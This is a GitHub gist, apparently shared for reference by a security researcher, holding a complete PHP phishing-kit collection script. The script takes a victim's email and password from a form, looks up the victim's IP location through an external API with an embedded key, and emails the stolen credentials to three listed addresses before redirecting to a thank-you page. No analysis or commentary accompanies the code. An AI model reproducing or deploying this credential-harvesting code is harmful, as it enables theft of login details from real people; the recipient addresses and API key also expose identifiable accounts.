Skip to content

Instantly share code, notes, and snippets.

@brad-anton
Created November 20, 2017 20:01
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save brad-anton/790d7018928f2331d25faeaff5aa90cd to your computer and use it in GitHub Desktop.
Save brad-anton/790d7018928f2331d25faeaff5aa90cd to your computer and use it in GitHub Desktop.
Server-side phishing collection form
<?php
$ip = getenv("REMOTE_ADDR");
//Get IP Country City
$url = "http://api.ipinfodb.com/v3/ip-country/?key=bdf624a70b290f75ecdf08f61ba30bb97b946fcd08a5dd35eeaabbc7b6b3f354&ip=$ip";
$url = "http://api.ipinfodb.com/v3/ip-city/?key=bdf624a70b290f75ecdf08f61ba30bb97b946fcd08a5dd35eeaabbc7b6b3f354&ip=$ip";
$ipCountryCityInfo = file_get_contents($url);
//
$message .= "Email Address: ".$_POST['email']."\n";
$message .= "password:" .$_POST['pass']."\n";
$message .= "IP: ".$ip."\n";
$message .= "Country: ".$ipCountryCityInfo."\n";
$message .= "--------Succesful Adequate ------\n";
$recipient = "sossnoop007@hotmail.com,blessings4me419@gmail.com,bigmansos005@gmail.com";
$subject = "CHINA DOMAINS..V.2.2.2016 LOGINGS | $geoplugin->ip | $geoplugin->countryCode | $geoplugin->countryName";
$headers = "From: ";
$headers .= $_POST['eMailAdd']."n";
$headers .= "MIME-Version:1.0";
mail("$cc", "rcn Info", $message);
if (mail($recipient,$subject,$message,$headers))
{
header("Location: thankyou.php");
}
else
{
echo "ERROR! Please go back and try again.";
}
?>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment